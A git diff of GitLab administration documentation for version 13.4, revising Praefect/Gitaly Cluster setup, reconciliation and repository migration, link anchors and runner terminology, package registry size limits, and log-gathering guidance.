@@ -275,6 +276,11 @@ PostgreSQL instances. Otherwise you should change the configuration parameter
### Praefect
+> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`.
+
+NOTE: **Note:**
+If there are multiple Praefect nodes, complete these steps for **each** node.
+
To complete this section you will need:
- [Configured PostgreSQL server](#postgresql), including:
@@ -376,7 +382,7 @@ application server, or a Gitaly node.
CAUTION: **Caution:**
If you have data on an already existing storage called
`default`, you should configure the virtual storage with another name and
- [migrate the data to the Praefect storage](#migrating-existing-repositories-to-praefect)
+ [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
afterwards.
Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which will be used by
@@ -388,11 +394,6 @@ application server, or a Gitaly node.
More Gitaly nodes can be added to the cluster to increase the number of
replicas. More clusters can also be added for very large GitLab instances.
- NOTE: **Note:**
- The `gitaly-1` node is currently denoted the primary. This
- can be used to manually fail from one node to another. This will be removed
- in the [future](https://gitlab.com/gitlab-org/gitaly/-/issues/2634).
-
```ruby
# Name of storage hash must match storage name in git_data_dirs on GitLab
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
@@ -401,7 +402,6 @@ application server, or a Gitaly node.
'gitaly-1' => {
'address' => 'tcp://GITALY_HOST:8075',
'token' => 'PRAEFECT_INTERNAL_TOKEN',
- 'primary' => true
},
'gitaly-2' => {
'address' => 'tcp://GITALY_HOST:8075',
@@ -426,7 +426,7 @@ application server, or a Gitaly node.
1. To ensure that Praefect [has updated its Prometheus listen
address](https://gitlab.com/gitlab-org/gitaly/-/issues/2734), [restart
- Gitaly](../restart_gitlab.md#omnibus-gitlab-restart):
+ Praefect](../restart_gitlab.md#omnibus-gitlab-restart):
```shell
gitlab-ctl restart praefect
@@ -444,7 +444,7 @@ application server, or a Gitaly node.
**The steps above must be completed for each Praefect node!**
-## Enabling TLS support
+#### Enabling TLS support
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/1698) in GitLab 13.2.
@@ -677,7 +677,7 @@ documentation](index.md#configure-gitaly-servers).
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your front door GitLab URL or an internal load balancer.
- # Examples: 'https://example.gitlab.com', 'http://1.2.3.4'
+ # Examples: 'https://gitlab.example.com', 'http://1.2.3.4'
gitlab_rails['internal_api_url'] = 'http://GITLAB_HOST'
```
@@ -730,7 +730,7 @@ After all Gitaly nodes are configured, you can run the Praefect connection
checker to verify Praefect can connect to all Gitaly servers in the Praefect
config.
-1. SSH into the **Praefect** node and run the Praefect connection checker:
+1. SSH into each **Praefect** node and run the Praefect connection checker:
```shell
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dial-nodes
@@ -774,9 +774,9 @@ application. This is done by updating the `git_data_dirs`.
Particular attention should be shown to:
- the storage name added to `git_data_dirs` in this section must match the
- storage name under `praefect['virtual_storages']` on the Praefect node. This
+ storage name under `praefect['virtual_storages']` on the Praefect node(s). This
was set in the [Praefect](#praefect) section of this guide. This document uses
- `storage-1` as the Praefect storage name.
+ `default` as the Praefect storage name.
1. SSH into the **GitLab** node and login as root:
@@ -799,7 +799,8 @@ Particular attention should be shown to:
CAUTION: **Caution:**
If you have existing data stored on the default Gitaly storage,
- you should [migrate the data your Praefect storage first](#migrating-existing-repositories-to-praefect).
+ you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
+ first.
```ruby
gitaly['enable'] = false
@@ -833,7 +834,8 @@ Particular attention should be shown to:
gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
```
-1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`.
+1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus
+ is enabled on a different node, make edits on that node instead.
You will need to replace:
@@ -871,7 +873,7 @@ Particular attention should be shown to:
gitlab-ctl reconfigure
```
-1. Verify each `gitlab-shell` on each Gitaly instance can reach GitLab. On each Gitaly instance run:
+1. Verify each `gitlab-shell` on each Gitaly node can reach GitLab. On each Gitaly node run:
```shell
/opt/gitlab/embedded/service/gitlab-shell/bin/check -config /opt/gitlab/embedded/service/gitlab-shell/config.yml
@@ -901,7 +903,7 @@ for detailed documentation.
To get started quickly:
-1. SSH into the **GitLab** node and login as root:
+1. SSH into the **GitLab** node (or whichever node has Grafana enabled) and login as root:
```shell
sudo -i
@@ -978,6 +980,7 @@ They reflect configuration defined for this instance of Praefect.
> - Introduced in GitLab 13.1 in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), disabled by default.
> - Entered [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) in GitLab 13.2, disabled by default.
> - From GitLab 13.3, disabled unless primary-wins reference transactions strategy is disabled.
+> - From GitLab 13.4, enabled by default.
Praefect guarantees eventual consistency by replicating all writes to secondary nodes
after the write to the primary Gitaly node has happened.
@@ -990,8 +993,13 @@ information, see the [strong consistency epic](https://gitlab.com/groups/gitlab-
To enable strong consistency:
-- In GitLab 13.3 and later, reference transactions are enabled by default with
- a primary-wins strategy. This strategy causes all transactions to succeed for
+- In GitLab 13.4 and later, the strong consistency voting strategy has been
+ improved. Instead of requiring all nodes to agree, only the primary and half
+ of the secondaries need to agree. This strategy is enabled by default. To
+ disable it and continue using the primary-wins strategy, enable the
+ `:gitaly_reference_transactions_primary_wins` feature flag.
+- In GitLab 13.3, reference transactions are enabled by default with a
+ primary-wins strategy. This strategy causes all transactions to succeed for
the primary and thus does not ensure strong consistency. To enable strong
consistency, disable the `:gitaly_reference_transactions_primary_wins`
feature flag.
@@ -1034,11 +1042,6 @@ current primary node is found to be unhealthy.
will cause Praefect nodes to elect a new primary, monitor its health,
and elect a new primary if the current one has not been reachable in
10 seconds by a majority of the Praefect nodes.
-- **Manual:** Automatic failover is disabled. The primary node can be
- reconfigured in `/etc/gitlab/gitlab.rb` on the Praefect node. Modify the
- `praefect['virtual_storages']` field by moving the `primary = true` to promote
- a different Gitaly node to primary. In the steps above, `gitaly-1` was set to
- the primary. Requires `praefect['failover_enabled'] = false` in the configuration.
- **Memory:** Enabled by setting `praefect['failover_election_strategy'] = 'local'`
in `/etc/gitlab/gitlab.rb` on the Praefect node. If a sufficient number of health
checks fail for the current primary backend Gitaly node, and new primary will
@@ -1072,7 +1075,7 @@ recovery efforts by preventing writes that may conflict with the unreplicated wr
To enable writes again, an administrator can:
1. [Check](#check-for-data-loss) for data loss.
-1. Attempt to [recover](#recover-missing-data) missing data.
+1. Attempt to [recover](#data-recovery) missing data.
1. Either [enable writes](#enable-writes-or-accept-data-loss) in the virtual storage or
[accept data loss](#enable-writes-or-accept-data-loss) if necessary, depending on the version of
GitLab.
@@ -1166,17 +1169,6 @@ Virtual storage: default
To check a project's repository checksums across on all Gitaly nodes, run the
[replicas Rake task](../raketasks/praefect.md#replica-checksums) on the main GitLab node.
-### Recover missing data
-
-The Praefect `reconcile` sub-command can be used to recover unreplicated changes from another replica.
-The source must be on a later version than the target storage.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f
-```
-
-Refer to [Gitaly node recovery](#gitaly-node-recovery) section for more details on the `reconcile` sub-command.
-
### Enable writes or accept data loss
Praefect provides the following subcommands to re-enable writes:
@@ -1200,43 +1192,85 @@ Praefect provides the following subcommands to re-enable writes:
CAUTION: **Caution:**
`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
-[recovery efforts](#recover-missing-data) must be performed before using it.
+[recovery efforts](#data-recovery) must be performed before using it.
+
+## Data recovery
+
+If a Gitaly node fails replication jobs for any reason, it ends up hosting outdated versions of the
+affected repositories. Praefect provides tools for:
+
+- [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later.
+- [Manual](#manual-reconciliation) reconciliation, for:
+ - GitLab 13.3 and earlier.
+ - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table.
+ A migration tool [is planned](https://gitlab.com/gitlab-org/gitaly/-/issues/3033).
+
+These tools reconcile the outdated repositories to bring them fully up to date again.
+
+### Automatic reconciliation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2717) in GitLab 13.4.
-## Gitaly node recovery
+Praefect automatically reconciles repositories that are not up to date. By default, this is done every
+five minutes. For each outdated repository on a healthy Gitaly node, the Praefect picks a
+random, fully up to date replica of the repository on another healthy Gitaly node to replicate from. A
+replication job is scheduled only if there are no other replication jobs pending for the target
+repository.
-When a secondary Gitaly node fails and is no longer able to replicate changes, it starts
-to drift from the primary Gitaly node. If the failed Gitaly node eventually recovers,
-it needs to be reconciled with the primary Gitaly node. The primary Gitaly node is considered
-the single source of truth for the state of a shard.
+The reconciliation frequency can be changed via the configuration. The value can be any valid
+[Go duration value](https://golang.org/pkg/time/#ParseDuration). Values below 0 disable the feature.
-The Praefect `reconcile` sub-command allows for the manual reconciliation between a secondary
-Gitaly node and the current primary Gitaly node.
+Examples:
-Run the following command on the Praefect server after all placeholders
-(`<virtual-storage>` and `<target-storage>`) have been replaced:
+```ruby
+praefect['reconciliation_scheduling_interval'] = '5m' # the default value
+```
+
+```ruby
+praefect['reconciliation_scheduling_interval'] = '30s' # reconcile every 30 seconds
+```
+
+```ruby
+praefect['reconciliation_scheduling_interval'] = '0' # disable the feature
+```
+
+### Manual reconciliation
+
+The Praefect `reconcile` sub-command allows for the manual reconciliation between two Gitaly nodes. The
+command replicates every repository on a later version on the reference storage to the target storage.
```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -target <target-storage>
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f
```
- Replace the placeholder `<virtual-storage>` with the virtual storage containing the Gitaly node storage to be checked.
-- Replace the placeholder `<target-storage>` with the Gitaly storage name.
-
-The command will return a list of repositories that were found to be
-inconsistent against the current primary. Each of these inconsistencies will
-also be logged with an accompanying replication job ID.
+- Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories.
+- Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories.
-## Migrating existing repositories to Praefect
+## Migrate existing repositories to Gitaly Cluster
-If your GitLab instance already has repositories, these won't be migrated
-automatically.
+If your GitLab instance already has repositories on single Gitaly nodes, these aren't migrated to
+Gitaly Cluster automatically.
Repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md):
-```shell
-curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
---data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves"
-```
+To move repositories to Gitaly Cluster:
+
+1. [Schedule a move](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project)
+ for the first repository using the API. For example:
+
+ ```shell
+ curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves"
+ ```
+
+1. Using the ID that is returned, [query the repository move](../../api/project_repository_storage_moves.md#get-a-single-repository-storage-move-for-a-project)
+ using the API. The query indicates either:
+ - The move has completed successfully. The `state` field is `finished`.
+ - The move is in progress. Re-query the repository move until it completes successfully.
+ - The move has failed. Most failures are temporary and are solved by rescheduling the move.
+
+1. Once the move is successful, repeat these steps for all repositories for your projects.
## Debugging Praefect
diff --git a/doc/administration/img/export_audit_log_v13_4.png b/doc/administration/img/export_audit_log_v13_4.png
new file mode 100644
index 00000000000..1b404b5742c
--- /dev/null
+++ b/doc/administration/img/export_audit_log_v13_4.png
Binary files differ
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 36156c4a580..c0c03044225 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -13,7 +13,7 @@ GitLab has several features based on receiving incoming emails:
- [New issue by email](../user/project/issues/managing_issues.md#new-issue-via-email):
allow GitLab users to create a new issue by sending an email to a
user-specific email address.
-- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only):
+- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email):
allow GitLab users to create a new merge request by sending an email to a
user-specific email address.
- [Service Desk](../user/project/service_desk.md): provide e-mail support to
@@ -84,8 +84,8 @@ To set up a basic Postfix mail server with IMAP access on Ubuntu, follow the
### Security Concerns
-**WARNING:** Be careful when choosing the domain used for receiving incoming
-email.
+WARNING: **WARNING:**
+Be careful when choosing the domain used for receiving incoming email.
For the sake of example, suppose your top-level company domain is `hooli.com`.
All employees in your company have an email address at that domain via Google
@@ -95,7 +95,7 @@ email address in order to sign up.
If you also host a public-facing GitLab instance at `hooli.com` and set your
incoming email domain to `hooli.com`, an attacker could abuse the "Create new
issue by email" or
-"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only)"
+"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email)"
features by using a project's unique address as the email when signing up for
Slack. This would send a confirmation email, which would create a new issue or
merge request on the project owned by the attacker, allowing them to click the
@@ -111,7 +111,7 @@ Alternatively, use a dedicated domain for GitLab email communications such as
See GitLab issue [#30366](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30366)
for a real-world example of this exploit.
-CAUTION:**Caution:**
+CAUTION: **Caution:**
Be sure to use a mail server that has been configured to reduce
spam.
A Postfix mail server that is running on a default configuration, for example,
diff --git a/doc/administration/index.md b/doc/administration/index.md
index ed079abf708..a6448fcf64f 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -36,7 +36,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Omnibus support for log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-shipping-gitlab-enterprise-edition-only) **(STARTER ONLY)**
- [Reference architectures](reference_architectures/index.md): Add additional resources to support more users.
- [Installing GitLab on Amazon Web Services (AWS)](../install/aws/index.md): Set up GitLab on Amazon AWS.
-- [Geo](geo/replication/index.md): Replicate your GitLab instance to other geographic locations as a read-only fully operational version. **(PREMIUM ONLY)**
+- [Geo](geo/index.md): Replicate your GitLab instance to other geographic locations as a read-only fully operational version. **(PREMIUM ONLY)**
- [Disaster Recovery](geo/disaster_recovery/index.md): Quickly fail-over to a different site with minimal effort in a disaster situation. **(PREMIUM ONLY)**
- [Pivotal Tile](../install/pivotal/index.md): Deploy GitLab as a preconfigured appliance using Ops Manager (BOSH) for Pivotal Cloud Foundry. **(PREMIUM ONLY)**
- [Add License](../user/admin_area/license.md): Upload a license at install time to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)**
@@ -60,7 +60,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering size limits of branch comparison pages.
- [Merge request diffs storage](merge_request_diffs.md): Configure merge requests diffs external storage.
- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages to GitLab users through the UI.
-- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Global Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)**
+- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)**
- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) **(PREMIUM ONLY)**
- [Upload a license](../user/admin_area/license.md): Upload a license to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)**
- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide configuration and maintenance.
@@ -73,7 +73,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Favicon](../user/admin_area/appearance.md#favicon): Change the default favicon to your own logo.
- [Branded login page](../user/admin_area/appearance.md#sign-in--sign-up-pages): Customize the login page with your own logo, title, and description.
- ["New Project" page](../user/admin_area/appearance.md#new-project-pages): Customize the text to be displayed on the page that opens whenever your users create a new project.
-- [Additional custom email text](../user/admin_area/settings/email.md#custom-additional-text-premium-only): Add additional custom text to emails sent from GitLab. **(PREMIUM ONLY)**
+- [Additional custom email text](../user/admin_area/settings/email.md#custom-additional-text): Add additional custom text to emails sent from GitLab. **(PREMIUM ONLY)**
### Maintaining GitLab
@@ -120,7 +120,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance. **(PREMIUM ONLY)**
- [Incoming email](incoming_email.md): Configure incoming emails to allow
users to [reply by email](reply_by_email.md), create [issues by email](../user/project/issues/managing_issues.md#new-issue-via-email) and
- [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only), and to enable [Service Desk](../user/project/service_desk.md).
+ [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email), and to enable [Service Desk](../user/project/service_desk.md).
- [Postfix for incoming email](reply_by_email_postfix_setup.md): Set up a
basic Postfix mail server with IMAP authentication on Ubuntu for incoming
emails.
@@ -157,8 +157,8 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable and configure external pipeline validation.
- [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully).
- [Job logs](job_logs.md): Information about the job logs.
-- [Register Runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure Runners.
-- [Shared Runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only): Limit the usage of pipeline minutes for Shared Runners. **(STARTER ONLY)**
+- [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners.
+- [Shared runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota): Limit the usage of pipeline minutes for shared runners. **(STARTER ONLY)**
- [Enable/disable Auto DevOps](../topics/autodevops/index.md#enablingdisabling-auto-devops): Enable or disable Auto DevOps for your instance.
## Snippet settings
@@ -231,6 +231,6 @@ who are aware of the risks.
- [GitLab Developer Docs](../development/README.md)
- [Repairing and recovering broken Git repositories](https://git.seveas.net/repairing-and-recovering-broken-git-repositories.html)
- [Testing with OpenSSL](https://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html)
- - [`Strace` zine](https://wizardzines.com/zines/strace/)
+ - [`strace` zine](https://wizardzines.com/zines/strace/)
- GitLab.com-specific resources:
- [Group SAML/SCIM setup](troubleshooting/group_saml_scim.md)
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index f30dba331b8..abd98002934 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -319,9 +319,9 @@ Plan.default.actual_limits.update!(ci_instance_level_variables: 30)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3.
Job artifacts defined with [`artifacts:reports`](../ci/pipelines/job_artifacts.md#artifactsreports)
-that are uploaded by the Runner are rejected if the file size exceeds the maximum
+that are uploaded by the runner are rejected if the file size exceeds the maximum
file size limit. The limit is determined by comparing the project's
-[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only)
+[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size)
with the instance limit for the given artifact type, and choosing the smaller value.
Limits are set in megabytes, so the smallest possible value that can be defined is `1 MB`.
@@ -424,6 +424,12 @@ panel_groups:
label: Legend Label
```
+## Environment Dashboard limits **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33895) in GitLab 13.4.
+
+See [Environment Dashboard](../ci/environments/environments_dashboard.md#adding-a-project-to-the-dashboard) for the maximum number of displayed projects.
+
## Environment data on Deploy Boards
[Deploy Boards](../user/project/deploy_boards.md) load information from Kubernetes about
@@ -434,11 +440,11 @@ Kubernetes won't be shown.
Reports that go over the 20 MB limit won't be loaded. Affected reports:
-- [Merge Request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate)
+- [Merge Request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports)
- [CI/CD parameter `artifacts:expose_as`](../ci/yaml/README.md#artifactsexpose_as)
-- [JUnit test reports](../ci/junit_test_reports.md)
+- [Unit test reports](../ci/unit_test_reports.md)
-## Advanced Global Search limits
+## Advanced Search limits
### Maximum file size indexed
@@ -514,3 +520,38 @@ Total number of changes (branches or tags) in a single push to determine whether
individual push events or bulk push event will be created.
More information can be found in the [Push event activities limit and bulk push events documentation](../user/admin_area/settings/push_event_activities_limit.md).
+
+## Package Registry Limits
+
+### File Size Limits
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218017) in GitLab 13.4.
+
+On GitLab.com, the maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md)
+is 5 gigabytes.
+
+Limits are set per package type.
+
+To set this limit on a self-managed installation, run the following in the
+[GitLab Rails console](troubleshooting/debug.md#starting-a-rails-console-session):
+
+```ruby
+# File size limit is stored in bytes
+
+# For Conan Packages
+Plan.default.actual_limits.update!(conan_max_file_size: 100.megabytes)
+
+# For NPM Packages
+Plan.default.actual_limits.update!(npm_max_file_size: 100.megabytes)
+
+# For NuGet Packages
+Plan.default.actual_limits.update!(nuget_max_file_size: 100.megabytes)
+
+# For Maven Packages
+Plan.default.actual_limits.update!(maven_max_file_size: 100.megabytes)
+
+# For PyPI Packages
+Plan.default.actual_limits.update!(pypi_max_file_size: 100.megabytes)
+```
+
+Set the limit to `0` to allow any file size.
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index 66a7bcb90f6..2a79923b793 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -404,7 +404,7 @@ you can enable the `ci_disable_validates_dependencies` feature flag from a Rails
## Set the maximum file size of the artifacts
If artifacts are enabled, you can change the maximum file size of the
-artifacts through the [Admin Area settings](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only).
+artifacts through the [Admin Area settings](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size).
## Storage statistics
diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md
index 4dba33b796a..c34035e3c0c 100644
--- a/doc/administration/job_logs.md
+++ b/doc/administration/job_logs.md
@@ -9,7 +9,7 @@ type: reference
> [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5.
-Job logs are sent by GitLab Runner while it's processing a job. You can see
+Job logs are sent by a runner while it's processing a job. You can see
logs in job pages, pipelines, email notifications, etc.
## Data flow
@@ -19,8 +19,8 @@ In the following table you can see the phases a log goes through:
| Phase | State | Condition | Data flow | Stored path |
| -------------- | ------------ | ----------------------- | -----------------------------------------| ----------- |
-| 1: patching | log | When a job is running | GitLab Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
-| 2: overwriting | log | When a job is finished | GitLab Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
+| 1: patching | log | When a job is running | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
+| 2: overwriting | log | When a job is finished | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` |
| 3: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
| 4: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` |
@@ -83,10 +83,9 @@ find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -d
## New incremental logging architecture
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18169) in GitLab 10.4.
-> - [Announced as generally available](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46097) in GitLab 11.0.
NOTE: **Note:**
-This feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it.
+This beta feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it.
By combining the process with object storage settings, we can completely bypass
the local file storage. This is a useful option if GitLab is installed as
@@ -103,8 +102,8 @@ The data are stored in the following Redis namespace: `Gitlab::Redis::SharedStat
Here is the detailed data flow:
-1. GitLab Runner picks a job from GitLab
-1. GitLab Runner sends a piece of log to GitLab
+1. The runner picks a job from GitLab
+1. The runner sends a piece of log to GitLab
1. GitLab appends the data to Redis
1. Once the data in Redis reach 128KB, the data is flushed to a persistent store (object storage or the database).
1. The above steps are repeated until the job is finished.
@@ -161,7 +160,7 @@ In some cases, having data stored on Redis could incur data loss:
1. **Case 1: When all data in Redis are accidentally flushed**
- On going incremental logs could be recovered by re-sending logs (this is
- supported by all versions of the GitLab Runner).
+ supported by all versions of GitLab Runner).
- Finished jobs which have not archived incremental logs will lose the last part
(~128KB) of log data.
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index 2e8d0bf7461..fcd6264dafd 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -87,7 +87,7 @@ In addition, the log contains the originating IP address,
(`remote_ip`), the user's ID (`user_id`), and username (`username`).
Some endpoints such as `/search` may make requests to Elasticsearch if using
-[Advanced Global Search](../user/search/advanced_global_search.md). These will
+[Advanced Search](../user/search/advanced_global_search.md). These will
additionally log `elasticsearch_calls` and `elasticsearch_call_duration_s`,
which correspond to:
@@ -723,10 +723,15 @@ was initiated, such as `1509705644.log`
## `sidekiq_exporter.log` and `web_exporter.log`
-If Prometheus metrics and the Sidekiq Exporter are both enabled, Sidekiq will
-start a Web server and listen to the defined port (default: `8082`). Access logs
-will be generated in `/var/log/gitlab/gitlab-rails/sidekiq_exporter.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for
+If Prometheus metrics and the Sidekiq Exporter are both enabled, Sidekiq
+will start a Web server and listen to the defined port (default:
+`8082`). By default, Sidekiq Exporter access logs are disabled but can
+be enabled via the `sidekiq['exporter_log_enabled'] = true` option in `/etc/gitlab/gitlab.rb`
+for Omnibus installations, or via the `sidekiq_exporter.log_enabled` option
+in `gitlab.yml` for installations from source. When enabled,
+access logs will be generated in
+`/var/log/gitlab/gitlab-rails/sidekiq_exporter.log` for Omnibus GitLab
+packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for
installations from source.
If Prometheus metrics and the Web Exporter are both enabled, Puma/Unicorn will
@@ -955,3 +960,38 @@ For Omnibus GitLab installations, GitLab Monitor logs reside in `/var/log/gitlab
## GitLab Exporter
For Omnibus GitLab installations, GitLab Exporter logs reside in `/var/log/gitlab/gitlab-exporter/`.
+
+## Gathering logs
+
+When [troubleshooting](troubleshooting/index.md) issues that aren't localized to one of the
+previously listed components, it's helpful to simultaneously gather multiple logs and statistics
+from a GitLab instance.
+
+### GitLabSOS
+
+If performance degradations or cascading errors occur that can't readily be attributed to one
+of the previously listed GitLab components, [GitLabSOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/)
+can provide a perspective spanning all of Omnibus GitLab. For more details and instructions
+to run it, see [the GitLabSOS documentation](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/#gitlabsos).
+
+NOTE: **Note:**
+GitLab Support likes to use this custom-made tool.
+
+### Briefly tail the main logs
+
+If the bug or error is readily reproducible bug or error, save the main GitLab logs
+[to a file](troubleshooting/linux_cheat_sheet.md#files--dirs) while reproducing the
+problem once or more times:
+
+```shell
+sudo gitlab-ctl tail | tee /tmp/<case-ID-and-keywords>.log
+```
+
+Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>.
+
+### Fast-stats
+
+[Fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats) is a tool
+for creating and comparing performance statistics from GitLab logs.
+For more details and instructions to run it, see
+[read the documentation for fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats#usage).
diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
index e272cccb7ce..efe31997b25 100644
--- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
+++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
@@ -77,7 +77,7 @@ You can [add a webhook](../../../operations/metrics/alerts.md#external-prometheu
to the Prometheus configuration in order for GitLab to receive notifications of any alerts.
Once the webhook is setup, you can
-[take action on incoming alerts](../../../operations/metrics/alerts.md#trigger-actions-from-alerts-ultimate).
+[take action on incoming alerts](../../../operations/metrics/alerts.md#trigger-actions-from-alerts).
## Adding custom metrics to the self monitoring project
@@ -93,7 +93,7 @@ You can add custom metrics in the self monitoring project by:
There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/208676) which causes
project creation to fail with the following error (which appears in the log file)
when the first admin user is an
-[external user](../../../user/permissions.md#external-users-core-only):
+[external user](../../../user/permissions.md#external-users):
```plaintext
Could not create instance administrators group. Errors: ["You don’t have permission to create groups."]
